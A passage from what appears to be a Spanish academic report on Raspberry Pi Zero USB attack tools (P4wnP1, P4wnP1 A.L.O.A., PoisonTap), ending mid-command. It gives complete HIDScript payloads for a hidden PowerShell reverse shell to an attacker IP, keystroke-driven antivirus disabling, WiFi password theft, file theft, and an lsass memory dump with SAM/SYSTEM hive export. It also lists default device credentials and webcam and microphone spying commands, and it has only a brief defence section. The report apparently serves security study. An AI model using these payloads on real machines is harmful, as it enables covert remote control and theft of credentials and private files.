Stealing Browser Credentials: permite extraer las credenciales almacenadas en los navegadores web de la víctima. Esto podría incluir contraseñas guardadas en formularios de inicio de sesión, lo que podría permitir el acceso no autorizado a cuentas en línea. ● WiFi Hotspot - SSH Access: consiste en que la Raspberry Pi Zero crea un punto de acceso WiFi, y una vez que la víctima se conecta al hotspot, se proporciona acceso SSH al dispositivo, lo que podría facilitar el control remoto y la ejecución de comandos en el sistema objetivo. ● Client Mode - USB Net Attacks over WiFi with Internet Access (MitM): permite actuar como intermediario entre la vÍctima y una red WiFi, para realizar ataques a través del puerto USB y la relé de esos ataques a través de la conexión WiFi, manteniendo al mismo tiempo el acceso a Internet. 5.3 Resultados obtenidos del exploit Después de haber intentado realizar varias ramas de este ataque con los diferentes payloads y teniendo siempre resultados fallidos, deducimos que al tratarse de un ataque que se creó hace varios años, seguramente Windows ya había lanzado varios parches que impedían que estos payloads funcionaran correctamente. Como nos parecía muy laborioso crear o encontrar una máquina virtual que reuniera los requisitos específicos para realizar el ataque, optamos por descartarlo y centrarnos en su sucesor llamado P4wnp1 A.L.O.A. De todas formas, con toda la documentación sobre la versión antigua de P4wnP1 nos hemos familiarizado con este ataque y nos ha servido de ayuda para la nueva versión. Por esta razón hemos incluido este breve capítulo, ya que nos ha sido útil en nuestro futuro trabajo y consideramos que es interesante conocer estas cuestiones. 25 Capítulo 6 - P4wnP1 ALOA 6.1 Introducción La versión P4wnP1 A.L.O.A. tiene mejoras considerables, la versión anterior tenía menos funcionalidades y solo podía ejecutar un payload, siendo básicamente una mejora del ataque Rubber Ducky adaptado a la Raspberry. Esta nueva versión es una herramienta que permite conectar la Raspberry Pi Zero W a una computadora anfitriona y enviar comandos a distancia, al mismo tiempo que comparte la conexión de red con ésta. Su interfaz gráfica de usuario (GUI) facilita la configuración y el control de las múltiples capacidades de esta herramienta. Entre sus funcionalidades se incluye la capacidad de configurar ataques de ingeniería social por el puerto USB, como la emulación de dispositivos HID y otros periféricos. Esto permite la automatización de ataques que pueden engañar a las víctimas para que ejecuten comandos maliciosos o revelen información sensible. Además de los ataques USB, ésta interfaz gráfica también ofrece opciones para configurar y controlar ataques a través de la red. Se pueden personalizar scripts y payloads para aprovechar vulnerabilidades en sistemas conectados a la misma red, lo que facilita la explotación de dispositivos y la recopilación de información. Además, existe una interfaz de registro para rastrear y analizar la actividad y los resultados de los ataques. 6.2 Funcionamiento del exploit El dispositivo se hace pasar por un teclado/ratón HID y una interfaz de red para lograr estas funciones. La configuración del dispositivo es automática y no necesita instalación de controladores especiales. Es compatible con sistemas Windows, Linux y OS 26 X. Prácticamente no hay forma de defenderse contra este tipo de ataque, salvo asegurando físicamente los puertos USB. 6.3 Materiales necesarios A continuación se lista lo necesario para instalar el exploit en nuestra Raspberry Pi Zero W: ● Raspberry Pi Zero W ● Cable microUSB ● Tarjeta de memoria microSD (recomendable de 16 GB de capacidad) ● Lector de tarjetas microSD 6.4 Tutorial de instalación Para este exploit, en lugar de utilizar la última imagen de SO disponible en Raspberry Pi Imager, vamos a usar la recomendada por el creador del exploit. Para ello, vamos a descargar la siguiente imagen (v0.1.1-beta) y escribir la imagen en la SD de la Raspberry usando el software adecuado, en nuestro caso Raspberry Pi Imager: https://github.com/RoganDawes/P4wnP1_aloa/tags. No va a hacer falta editar ningún documento antes de insertar la microSD en la raspberry como en otros ataques. Conectamos la Raspberry a una máquina Kali y después de unos segundos debería de aparecer una conexión inalámbrica. El dispositivo debería tener asignada la dirección IPv4 172.24.0.1. Nos conectamos a ella con la contraseña ‘MaMe82-P4wnP1’ . 27 https://github.com/RoganDawes/P4wnP1_aloa/tags Fig 6.1. Red WiFi creada por el P4wnP1 Después, hay dos formas de configurar el dispositivo: haciendo SSH a root@172.24.0.1 con la contraseña ‘toor’, o escribiendo la siguiente dirección en tu navegador: http://172.24.0.1:8000/. Nosotros hemos optado por la segunda opción. A continuación, en la pestaña de Wifi Settings, se puede cambiar el SSID y la contraseña para que la Pi tenga conexión a Internet. En la parte inferior izquierda se debe cambiar la opción Working mode a Client with Failover to AP. Esto es por si no es posible conectarse al Punto de Acceso objetivo, se establece un Punto de Acceso propio. En la sección del medio introducimos los datos de la conexión wifi propia y después pulsamos el botón Deploy para activar los cambios y el botón Store para guardarlos. 28 http://172.24.0.1:8000/ 6.5 Configurar P4wnP1 ALOA Cuando queramos crear o introducir un payload, tendremos que ir al apartado HID Script, introducir el código, y lo guardaremos con el botón Store. Si todo va bien, se guardará en la carpeta /usr/local/P4wnP1/HIDScripts/. Fig 6.2. Proceso de guardar un HIDScript En la pestaña de Trigger Action creamos una nueva acción con la configuración que aparece en la imagen y le damos a Store. Con Trigger Action, existe la oportunidad de responder a desencadenantes específicos con acciones específicas, lo que lo hace más similar a una aplicación o framework. Aquí elegimos qué acción empezará cuando el trigger sea disparado, y también seleccionamos el script del payload que queremos ejecutar. 29 Fig 6.3. Ventana de configuración de Trigger Action Más adelante, tenemos que crear un Master Template en la pestaña de Generic Settings. Los Master Templates engloban todos los HIDScripts y configuraciones necesarias. Esto facilita cambiar entre diferentes configuraciones sin tener que modificar todas las opciones una por una. Fig 6.4. Ventana de configuración de Master Template 30 La última configuración se tiene que hacer haciendo SSH a la Raspberry y tiene relación con la distribución de teclado, ya que hay una tecla que no se pega correctamente por lo que hay que hacer un pequeño cambio. Desde la aplicación de PuTTy introducimos la dirección IP 172.24.0.1 con el puerto 22 y nos conectamos con el usuario root y la contraseña toor. Después, accedemos al directorio de distribuciones de teclado con el comando cd /usr/local/P4WNP1/keymaps, desde ahí ejecutamos el comando nano es.json para editar el archivo correspondiente al español, bajamos hasta la línea que aparece en la figura y cambiamos KEY_102ND por KEY_1 en la fila del carácter “|”. Fig 6.5. Archivo es.json de distribución de teclado Con todos estos pasos ya deberíamos tener la configuración hecha. Ya podemos introducir distintos Payloads para poder ver cómo funcionan. 6.6 Payload de Reverse Shell Como hemos comentado antes, primero crearemos un Payload de Shell (ver código en la página) y lo guardaremos con Store. Una vez seleccionado este Payload en la configuración, desconectamos la Raspberry y abrimos un Netcat Listener en la máquina atacante, al cabo de unos segundos aparecerá la shell remota: Fig 6.6.Terminal del Netcat Listener 31 En el caso de que a la hora de realizar el ataque no funcione, seguramente sea por la protección por defecto del computador, ya que no admite ejecutar scripts maliciosos como el que utilizamos en este caso. Para ello hay que permitir el tráfico a través del puerto que utilizaremos accediendo a Panel de control>Sistema y Seguridad>Firewall de Windows Defender>Configuración avanzada>Reglas de entrada>Nueva regla y seleccionar “Puerto”. Desde ahí, seleccionamos “TCP” y especificamos el puerto deseado, en nuestro caso, el 9999. A partir de este punto, pulsar en siguiente hasta finalizar. Fig 6.8. Firewall desactivado para ambas opciones Si con la configuración anterior sigue sin funcionar la escucha, existe la opción de desactivar el firewall (una medida no recomendada ya que el dispositivo sería vulnerable a posibles amenazas) accediendo a Panel de control>Sistema y Seguridad> Firewall de Windows Defender> Activar o Desactivar el firewall de Windows Defender, y deshabilitamos ambas opciones. Fig 6.9. Firewall desactivado para ambas opciones 32 Por otra parte, hay que deshabilitar también el antivirus, por lo que tenemos que acceder a Configuración>Protección antivirus y contra amenazas>Configuración de antivirus y protección contra amenazas>Administrar la configuración y desactivar la Protección en tiempo real (se necesitan permisos de administrador para realizar esta acción). Fig 6.10. Antivirus en tiempo real desactivado Al conseguir infiltrarse en la máquina víctima a través de una shell remota, hay varios comandos y acciones que se pueden realizar ya sea para robar datos o cambiar configuraciones. Una opción es administrar sistemas y redes con comandos como ifconfig para mostrar y robar datos sobre las interfaces. También, existe la posibilidad de ejecutar scripts maliciosos con el comando execute, obtener información del sistema con ‘sysinfo’, consultar los procesos que se están ejecutando y detenerlos con ps y kill. Por otra parte, hay comandos relacionados con la webcam en los que se puede grabar audio o video, y realizar capturas de pantallas. Algunos ejemplos son: ● record_mic: Graba audio durante X segundos ● webcam_snap: Tomar una foto desde la webcam ● webcam_stream: Grabar video 33 Por último, también hay comandos básicos que permiten moverse a través de los directorios de la víctima, ya sea para crear o borrar directorios y archivos, editar archivos, y cargar o descargar archivos. 6.6.1 Descripción detallada del Script En este apartado se encuentra la descripción detallada del script principal utilizado para comprender mejor cómo funciona el ataque. En la primera parte es una simple definición de variables como la configuración regional del teclado (locale), la dirección IP donde se espera que un programa netcat escuche para establecer una conexión (ip) y el número de puerto en el que netcat debería estar escuchando. var locale = "es"; var ip = "xxx.x.x.x"; var port = 9999; Después nos encontramos con la función hide() que tiene como objetivo ocultar la ventana de la línea de comandos (PowerShell) que se abrirá posteriormente en el script principal. Esta función es muy útil para mantener la discreción y evitar que se descubra el ataque a la máquina víctima. function hide() { type("$t = '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(int handle, int state);';add-type -name win -member $t -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCur rentProcess() | Get-Process).MainWindowHandle, 0);"); press("ENTER"); } 34 Más adelante, nos encontramos con la función popshell(ip, port) la cual básicamente crea una conexión TCP desde el sistema objetivo hacia el sistema controlado por el atacante y permite la ejecución remota de comandos en el sistema objetivo y devuelve los resultados al sistema atacante. Para entenderlo mejor hay que describir cada paso: ● Creación de la conexión TCP: Se crea una variable $client que instancia un nuevo objeto System.Net.Sockets.TCPClient, conectándose a la dirección IP y puerto especificados (ip y port). Después, se obtiene el flujo de datos de la conexión mediante $client.GetStream() y se almacena en la variable $stream. ● Preparación para la Lectura: Se crea un arreglo de bytes llamado $bytes con 65,536 elementos (0 a 65,535), inicializados con ceros. Y se define un bucle while que se ejecutará mientras se puedan leer bytes desde el flujo de datos ($i representa la cantidad de bytes leídos en cada iteración). ● Lectura de Datos del Flujo: Dentro del bucle, se convierten los bytes leídos del flujo de datos en una cadena de caracteres $data utilizando la codificación ASCII. Se evalúa la cadena $data como comandos de PowerShell utilizando iex (Invoke-Expression) y se redirigen los resultados y errores a la variable $sendback. ● Preparación para Enviar Datos de Regreso: Se crea una nueva cadena $sendback2 que contiene el contenido de $sendback, seguido de la cadena 'PS', y luego la ruta actual del directorio en el que se encuentra PowerShell. Además, se convierte $sendback2 en un arreglo de bytes utilizando la codificación ASCII y se almacena el resultado en $sendbyte. 35 ● Envío de Datos al Flujo: Se escriben los bytes de $sendbyte en el flujo de datos $stream para enviarlos al sistema controlado por el atacante y se limpia el flujo de datos mediante $stream.Flush(). ● Cierre de la Conexión: Por último, se cierra la conexión TCP con el sistema controlado por el atacante utilizando $client.Close() y simula presionar la tecla "ENTER" en el sistema objetivo. function popshell(ip, port) { type("$client = New-Object System.Net.Sockets.TCPClient('" + ip + "'," + port +");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\n"); type("while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;"); type("$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"); type("$sendback = (iex $data 2>&1 | Out-String );"); type("$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';"); type("$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"); type("$stream.Write($sendbyte,0,$sendbyte.Length);"); type("$stream.Flush()};"); type("$client.Close();"); press("ENTER"); } El último apartado consiste en una serie de pasos para abrir una terminal y ejecutar la función descrita anteriormente: ● Se configura el diseño del teclado según la variable locale. ● Se configura la velocidad de escritura en 0 (para evitar detección por patrones de escritura). ● Se presiona la tecla de Windows (`GUI`) junto con la letra "x", para abrir el menú de inicio en un sistema Windows. ● Se espera durante 2 segundos (`delay(2000)`). 36 ● Se presiona la tecla "SHIFT" y la letra "a". (abrir terminal) ● Se espera durante 2 segundos. ● Se presiona las teclas "ALT" y "y". (confirmar la apertura del terminal) ● Se espera durante 3 segundos. ● Se llama a la función hide() para ocultar la ventana de la línea de comandos. ● Se espera durante 2 segundos. ● Se llama la función popshell(ip, port) para establecer una conexión de "reverse shell" al sistema atacante. layout(locale); typingSpeed(0,0); press("GUI x"); delay(2000); press("SHIFT a"); delay(2000) press("ALT y"); delay(3000); hide(); delay(2000); popshell(ip,port); 6.6.2 Funcionalidad extra Para añadir más funcionalidad a este payload, se ha creado un fragmento de script que automatiza la desactivación del antivirus para no hacerlo manualmente, una acción más realista en una situación de hackeo. En resumen, el código trata de simular una secuencia de comandos de teclado y delays para navegar hasta la ventana del antivirus en un computador Windows 11 y deshabilitarlo. La razón de poner un retraso de 800 se debe a que al poner un valor menor, las pulsaciones de teclas no se captan bien y no se consigue llegar correctamente a la ubicación deseada. layout('es'); press("GUI"); 37 delay(500); type("Seguridad de Windows") delay(2500); press("ENTER"); delay(800); press("TAB"); delay(800); press("TAB"); delay(800); press("DOWN"); delay(800); press("ENTER"); delay(800); press("TAB"); delay(800); press("TAB"); delay(800); press("TAB"); delay(800); press("TAB"); delay(800); press("ENTER"); delay(800); press("SPACE"); delay(800); press("SHIFT TAB"); delay(800); press("ENTER"); delay(500); press("ALT F4"); 6.7 Payload de robo de contraseñas WiFi A continuación, se probará un payload que tiene como objetivo buscar todas las redes wifi que tiene guardadas la máquina víctima y recoger todas sus contraseñas en un archivo de texto. Para ello, haremos uso de una memoria USB adicional para tener un lugar donde almacenar los datos robados y dentro de ella hay que crear una carpeta vacía llamada loot. 38 Como siempre, hay que escribir el código del script en el apartado HIDScript y configurarlo con un trigger para que se ejecute al conectar la Raspberry a un computador. Al realizar esta acción, se abrirá una terminal de PowerShell y se escribirán unas líneas de código. Primero se creará automáticamente una carpeta llamada Wifi-keys dentro de la carpeta loot, y al cabo de unos segundos, también se crearán dos archivos de texto: ● Known_networks_info: contiene información detallada de cada red wifi existente. Fig 6.11. Contenido del arhcivo Known_networks_info ● Wifi_keys: contiene los nombres de las redes wifi junto con su contraseña. Fig 6.12. Contenido del archivo de texto Wifi_keys 39 6.7.1 Descripción detallada del Script Ahora se pasará a analizar el código detalladamente. Como siempre, la primera parte consta de la configuración del teclado y tres variables que indican el factor de delay y el nombre de la memoria USB. layout('es'); typingSpeed(0,0); var delay_time = 5 var usb_drive = "P4WNP1" Más adelante pasamos a la función de ataque la cual mediante comandos abre el cuadro de diálogo de ejecutar y escribe powershell para abrir una terminal de PowerShell.Después realiza los siguiente pasos: ● Se busca la memoria USB con el nombre de usb_drive y se guarda en la variable $usbPath ● Se crea la ruta completa hacia la carpeta loot y se crea la carpeta Wifi-keys ● Se busca todas las redes conocidas y su información con el comando netsh y se guarda todo en el archivo Known_networks_info.txt ● Se busca las contraseñas de las redes anteriores y se crea un nuevo archivo llamado Wifi_keys.txt guardando el nombre y contraseña de cada red haciendo un match de los SSID. ● Se cierra la terminal de PowerShell function attack() { press("GUI r"); delay(500); type("powershell\n"); delay(1000); type("$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq '" + usb_drive + "' } | select name;"); type("$lootPath = $usbPath.name + \"loot\\Wifi-keys\";mkdir $lootPath;"); type("netsh wlan show profiles * > $lootPath\\Known_networks_info.txt;"); 40 type("(netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Contenido de la clave\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ Wifi_Name=$name;Key=$pass }} | Format-Table -AutoSize > $lootPath\\Wifi_keys.txt;") type("exit;\n") } Se realiza un delay con el factor indicando en la variable y se llama a la función de ataque. delay(delay_time * 100); attack(); 6.8 Payload de Robo de ficheros El objetivo de este payload es automatizar la extracción de ciertos tipos de archivos (el atacante puede elegir que tipo de archivos extraer, en nuestro caso lo hemos probado con imágenes JPG y PNG, así como archivos de texto TXT) y copiarlos a una unidad USB o, en nuestro caso, en la propia Raspberry Pi. Para poder hacer eso, debemos activar la opción USB Mass Storage. Esta opción se utiliza para convertir el dispositivo en el que se está ejecutando el framework en una unidad de almacenamiento masivo USB. En otras palabras, esta función permite que el dispositivo actúe como una memoria USB cuando se conecta a otro sistema. Fig 6.13. Activación de la opción Mass storage 41 El problema es que la capacidad de almacenamiento por defecto que se crea es muy pequeña (unos 4MB), por lo que debemos hacerla más grande. Fig 6.14. Capacidad de las unidades al principio Para ello, debemos hacer SSH a la Raspberry utilizando PuTTy otra vez. Una vez conectados, utilizamos un recurso que nos viene en el repositorio, que permite generar imágenes USB. Para ello, debemos ir a la ruta /P4wnP1/helper, y ejecutar el script genimg con los siguientes argumentos: ./genimg -i -s 500 -o 500mb -l temp. Esto nos permite crear una imagen de 500 MB, y con label temp (es el nombre que aparecerá en el ordenador víctima). Fig 6.15. Creación de la imagen con 500MB Utilizamos el archivo 500mb que acabamos de generar como nueva imagen en la opción USB Mass Storage, y ya tendremos simulada una unidad simulada de 500MB. Fig 6.16. Capacidad de las unidades al final 42 En este punto, ya tenemos preparada la localización en la que almacenaremos los archivos robados (en nuestro caso, la unidad USB emulada con nombre temp). Ahora solo quedaría ejecutar el Script. Podemos ver que se abre la PowerShell y se ejecutan los comandos de manera automática. Fig 6.17. Comandos ejecutados automáticamente Al terminar de ejecutarse el script, si accedemos a la unidad USB en la que se guardan los archivos robados, podemos ver los ficheros que el payload ha extraído del ordenador víctima. Fig 6.18. Archivos robados 6.8.1 Descripción detallada del Script Para empezar, se establece el teclado para que tenga la configuración con idioma de España. layout(‘es’); 43 Primero, se utiliza una pausa para dar tiempo al sistema a reaccionar después de abrir el cuadro de diálogo de ejecución. Luego, se utiliza otra pausa para asegurarse de que el comando powershell se escriba correctamente en ese cuadro de diálogo. Una vez que se ha iniciado PowerShell, se introduce un retraso adicional para permitir que la terminal de PowerShell se abra completamente. press(“GUI r”); delay(500); type(“powershell\n”) delay(1000); A continuación, escribe un comando de PowerShell que busca una unidad etiquetada como temp (en nuestro caso es este, ya que así lo hemos determinado cuando creamos la imagen) y almacena su nombre en la variable $usbPath. Esto se utiliza para identificar la unidad USB a la que se copiarán los archivos. type(“$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq ‘P4WNP1’ } | select name\n”) Después, define un array llamado filetypes que contiene las extensiones de archivo que se buscarán y copiarán (en nuestro caso, hemos decidido probar con archivos JPG, PNG y TXT). var filetypes = [“jpg”, “png”, “txt”] A continuación, inicia un bucle for que recorre las extensiones de archivo en el array filetypes. Para cada extensión de archivo en filetypes, se ejecuta un comando de copia en PowerShell. Este comando copia todos los archivos con la extensión especificada (filetypes[i]) en todas las carpetas del sistema a la ubicación almacenada en $usbPath.name, que es la unidad USB identificada anteriormente. for (var i = 0; i < filetypes.length; i++) { type(“copy */*.” + filetypes[i] + “ $usbpath.name\n“) } 44 Por último, finaliza PowerShell con el comando exit y presionando la tecla Enter. type(“exit\n”) 6.9 Payload de Memory Mug Este payload entra en el tipo de robo de datos, y concretamente se centra en conseguir archivos con extensión .dmp y .hiv los cuales suelen contener información útil sobre el equipo como cuentas de usuarios, contraseñas cifradas y configuraciones del sistema. En este caso, también haremos uso de una memoria USB adicional. Dentro de ella guardaremos un archivo ejecutable llamado procdump.exe, el cual es una utilidad de línea de comandos desarrollada por Microsoft que se utiliza para generar volcados de procesos (core dumps) en sistemas Windows. Estos volcados son instantáneas del estado de un proceso en un momento determinado y contienen información sobre la memoria y el estado del proceso. Esta utilidad se puede descargar directamente desde Microsoft (https://learn.microsoft.com/en-us/sysinternals/downloads/procdump#introduction) . El primer paso es crear dos carpetas en la unidad USB: una llamada tools que contiene el ejecutable procdump.exe, y otra llamada loot vacía. Debería quedar de esta manera: Fig 6.19. Apariencia final del interior de la unidad USB 45 https://learn.microsoft.com/en-us/sysinternals/downloads/procdump#introduction Después, debemos configurar el ataque como en el apartado 6.5 con el script que describiremos más adelante. Si se desea probar el payload en su propio ordenador solo habría que darle a la opción Run en HIDScript, pero nos interesa tenerlos configurado con un trigger para que se ejecute al conectar la Raspberry al computador. Al realizar esta acción veremos como se realizan comandos automáticamente, como abrir una terminal de Powershell y escribir ciertas líneas de código. Fig 6.20. Terminal de PowerShell con comandos automáticos Normalmente estas acciones no se verían, pero hemos desactivado la función hide() para contemplar el ataque. Cuando acaben las operaciones, veremos que en nuestra carpeta loot tendremos ya los tres archivos que necesitábamos. Fig 6.21. Contenido de la carpeta loot con los archivos obtenidos 46 Por último, el archivo con extensión .dmp se puede analizar con la aplicación WinDbg para consultar su contenido. Por otra parte, los archivos con extensión .hiv se pueden visualizar desde el editor de registros del computador u otra opción es utilizando una herramienta llamada mimikatz, la cual no hemos podido instalar correctamente ya que en los enlaces que encontramos el antivirus nos daba una alerta de que contenía contenido malicioso por lo que no quisimos arriesgarnos. Fig 6.22. Información del archivo EDUARDO-lsass.dmp mostrada por WinDbg 6.9.1 Descripción detallada del Script Primeramente, se encuentra la configuración de teclado español, la velocidad de tecleado y dos variables que nos servirán para habilitar o deshabilitar las opciones de ocultar la terminal de PowerShell y cerrarla al acabar los comandos. layout('es'); hide=false; exit=false; typingSpeed(0,0); Después, se hace uso de la función delay() para generar pausas e introducir correctamente los comandos para abrir el cuadro de diálogo de ejecutar, escribir en él powershell y expandir la terminal de PowerShell. Además, se consulta si se oculta o no la terminal. delay(1000); press('GUI r'); 47 delay(700); if (hide) type('powershell -w h -NoP -NonI'); else type('powershell'); press('LEFT_CTRL LEFT_SHIFT ENTER'); delay(2500); press('ALT s'); delay(3000); La última parte del código realiza acciones un poco más complejas en este orden: ● Se asigna la letra de unidad o la ruta de acceso de una unidad USB con la etiqueta P4WNP1 (se puede modificar P4WNP1 al nombre de la memoria USB que se va a utilizar) a la variable $usbPath. Para hacerlo, se utiliza el comando gwmi (Get-WmiObject) para buscar un volumen cuya etiqueta coincida con P4WNP1 y luego se obtiene su nombre (la ruta de acceso a la unidad). ● Se cambia el directorio actual a la carpeta tools dentro de la ruta de acceso almacenada en la variable $usbPath. ● Se ejecuta la utilidad procdump.exe desde el directorio actual con los parámetro: ○ -ma: Este parámetro indica que se debe realizar un volcado completo de la memoria del proceso. ○ -accepteula: Acepta automáticamente el acuerdo de licencia de usuario final (EULA, por sus siglas en inglés) de procdump.exe. ○ lsass.exe: Es el nombre del proceso cuyo volcado de memoria se va a realizar. ○ $usbPath\loot\$env:COMPUTERNAME-lsass: Indica la ubicación y el nombre del archivo de salida del volcado de memoria. ● Se realiza una copia de seguridad del subárbol del Registro HKLM\SYSTEM en un archivo con la extensión ".hiv". ● Se realiza una copia de seguridad del subárbol del Registro HKLM\SAM en un archivo con la extensión ".hiv". ● Se cierra la terminal si así se ha especificado en la variable type('$usbPath =((gwmi win32_volume -f "label=""P4WNP1""").Name)\n'); delay(100); type('cd $usbPath\\tools\n'); type('.\\procdump.exe -ma -accepteula lsass.exe $usbPath\\loot\\$env:COMPUTERNAME-lsass\n') 48 //Use procdump.exe from tools directory to dump lsass, output saved in loot directory and prepended with computer's name. type('reg save HKLM\\SYSTEM $usbPath\\loot\\$env:COMPUTERNAME-SYSTEM.hiv\n'); type('reg save HKLM\\SAM $usbPath\\loot\\$env:COMPUTERNAME-SAM.hiv\n'); //These files can be later analysed using mimikatz. if (exit) { type('exit\n'); } 6.10 Cómo defenderse de P4wnP1 ALOA Para contrarrestar las posibles amenazas que pueden surgir al utilizar P4wnP1 A.L.O.A., es fundamental la protección física de los dispositivos, es decir, restringir el acceso físico a éstos y ubicarlos en lugares seguros y de difícil acceso para garantizar que solo el personal autorizado pueda manipularlos, reduciendo su exposición. También es recomendable la actualización constante y la aplicación de parches de seguridad en los sistemas operativos y las aplicaciones utilizadas, ya que estas actualizaciones abordan vulnerabilidades conocidas y fortalecen la resistencia del sistema ante posibles amenazas. Por otra parte, la implementación de un firewall y filtros de tráfico es un paso adicional importante. Al gestionar el flujo de datos y controlar las conexiones de red, estas medidas ayudan a prevenir intrusiones no autorizadas y a mitigar la exposición a ataques de fuerza bruta. Además, la implementación de sistemas de detección temprana de intrusiones y monitoreo de red permite identificar actividades sospechosas y anomalías en un estado incipiente. Esto proporciona una oportunidad para abordar los problemas antes de que se conviertan en amenazas reales. En concreto, una defensa más específica sería hacer uso de una “white list”. Este tipo de lista utiliza el módulo de control de dispositivos que ofrece una característica que permite permitir el acceso a subclases particulares de dispositivos que de otro modo estarían denegados. 49 Esto es útil para situaciones en las que se necesita bloquear el acceso a un tipo de dispositivo en general, pero aún se requiere permitir ciertas subclases dentro de ese tipo. Por ejemplo, se puede denegar el acceso a todos los puertos USB excepto para dispositivos específicos como teclados y ratones. El único inconveniente de la “white list” es que solo funciona con dispositivos que utilizan controladores de Windows estándar. Dispositivos con controladores propios podrían no ser reconocidos por el control de dispositivos y, por lo tanto, no se pueden permitir mediante esta lista. 50 Capítulo 7 - PoisonTap 7.1 Introducción PoisonTap es una herramienta de ciberseguridad desarrollada por Samy Kamkar, un investigador estadounidense especializado en privacidad y seguridad, en el año 2016. Fue creada con el propósito de mostrar las vulnerabilidades que tienen los equipos informáticos, especialmente en dos aspectos del entorno digital, que son las políticas de seguridad de origen cruzado y el almacenamiento en caché del navegador web. Poisontap nos explica cómo un atacante, con los conocimientos técnicos, puede obtener acceso a datos y diferentes recursos de gran importancia alojadas en la máquina víctima, mediante la explotación de las vulnerabilidades mencionadas anteriormente. Además, destaca la necesidad de mejorar las medidas de seguridad y tener cuidado mantenerse actualizados en cuanto a últimos ataques y vulnerabilidades utilizadas por los ciberdelincuentes, ya que el panorama de la ciberseguridad está en constante evolución. 7.2 Funcionamiento del exploit El ataque PoisonTap se basa en varias fases diseñadas para explotar las brechas de seguridad en los sistemas informáticos: ● PoisonTap usa la Raspberry Pi para llevar a cabo su ataque. La Raspberry Pi se conecta al sistema de destino a través de un puerto USB y se presenta como un dispositivo Ethernet virtual. Una vez establecida la conexión, Raspberry Pi comienza a manejar el tráfico de red en la máquina de destino. ● Además de redirigir el tráfico, PoisonTap utiliza tecnología para explotar la memoria caché del navegador de la víctima. Cuando un navegador solicita recursos en línea, como imágenes, scripts o archivos CSS, el navegador tiende a guardar copias de 51 esos elementos en el caché local para ayudar a que las páginas futuras se carguen más rápido. PoisonTap aprovecha esta característica al almacenar el script malicioso en la caché del navegador. ● Un script malicioso almacenado en la memoria caché del navegador se carga haciéndose pasar por un recurso local (por ejemplo, localhost). Esto permite que el script evada las restricciones de seguridad de CORS (Política de origen cruzado) que normalmente limitan las solicitudes de recursos a dominios específicos. Como resultado, el script puede acceder a recursos en la red, como cookies y sesiones, que normalmente no tiene acceso a ellas. ● Una vez que un script malicioso obtiene acceso a los recursos en línea, puede robar cookies y sesiones almacenadas en el navegador de la víctima. Las cookies y las sesiones a menudo suelen contener credenciales y acceso a servicios en línea, lo que puede dar a los atacantes acceso no autorizado a cuentas y datos confidenciales. 7.3 Materiales necesarios A continuación se lista lo necesario para instalar el exploit en nuestra Raspberry Pi Zero W: ● Raspberry Pi Zero W ● Cable microUSB ● Tarjeta de memoria microSD (recomendable de 16 GB de capacidad) ● Lector de tarjetas microSD 52 7.4 Tutorial de instalación Instalar este exploit parece bastante sencillo, aunque puede llegar a complicarse si no se hace correctamente. El exploit creado por samyk, está subido a su GitHub, por lo que será necesario clonar el repositorio dentro de nuestra Raspberry Pi. Para hacer este exploit de PoisonTap, también se necesita un servidor para que la Raspberry envíe la información, para ello hemos creado una instancia EC2 de AWS. Nos hemos creado una cuenta en la consola de AWS, y hemos lanzado una Instancia EC2 con las siguientes características: ● Imagen de Software(AMI): Debian 12 (para poder ejecutar los comandos que veremos más adelante). ● Tipo de Instancia: t3.micro (por defecto). ● Grupo de seguridad: wizard-5 (Luego lo editamos para que acepte tráfico a través del puerto 1337) ● Par de Claves: creamos uno nuevo para poder hacer SSH a nuestro servidor ● Almacenamiento: 1 Volumen de 30GiB Fig 7.1. Resumen de los datos de la Instancia EC2 de AWS 53 Una vez hemos lanzado nuestra instancia, debemos conectarnos al servidor. Pero antes, vamos a permitir el tráfico a través del puerto 1337. Eso lo haremos añadiendo una nueva regla al Grupo de seguridad que utiliza nuestra instancia. De esta forma, permitiremos las conexiones SSH (por el puerto 22) y las que vengan a través del puerto 1337. Fig 7.2. Reglas del Grupo de Seguridad con los puertos abiertos de la Instancia EC2 Para ello, debemos hacer SSH a la dirección de nuestra instancia (en este caso admin@ec2-51-20-3-17.eu-north-1.compute.amazonaws.com) pero indicando que queremos usar nuestra clave privada (que se nos descarga al crear el par de Claves). Para eso, añadimos el argumento -i “claves_nico.pem”, siendo este el documento en el que está nuestra clave privada. Fig 7.3. SSH exitoso a nuestro servidor EC2 de AWS Una vez estamos dentro del servidor, debemos ejecutamos estos comandos en nuestro servidor, para instalar el NodeJS y poner a escuchar a nuestro servidor en el puerto 1337: $ sudo apt-get install git npm $ sudo npm install websocket $ curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - $ sudo apt-get install nodejs $ v $ cd poisontap 54 $ sudo node backend_server.js & Fig 7.4. Ejecución de la instrucción curl, que recomienda el setup 18 Fig 7.5. Ejecución de la instrucción curl con el setup 18, que es un script de configuración para el NodeJS 55 Una vez ejecutados los comandos, el servidor está preparado para escuchar el tráfico por el puerto 1337 Fig 7.6. El servidor está configurado y escuchando cualquier tráfico del puerto 1337 Ahora el servidor está preparado y escuchando para realizar el PoisonTap. Hay que tener en cuenta que el servidor debe poder ser accedido públicamente, por eso mismo estamos usando AWS. Fig 7.7. El servidor está configurado y escuchando cualquier tráfico del puerto 1337 Como vemos, se puede acceder públicamente a nuestro servidor a través del puerto 1337 (Muestra ese mensaje por defecto, ya que no hemos configurado el servidor para que muestre ningún HTML). Podemos ver en la consola de la instancia como recibe las llamadas HTTP a través del puerto 1337 cuando accedemos a la URL: Fig 7.8. Consola del servidor en la que se ven los requests cada vez que alguien accede 56 7.5 Configurar PoisonTap Una vez instalado todo, podemos empezar a configurar nuestro PoisonTap en la Raspberry. Lo primero que tenemos que hacer es clonar el repositorio de GitHub también en la Raspberry, con el comando git clone 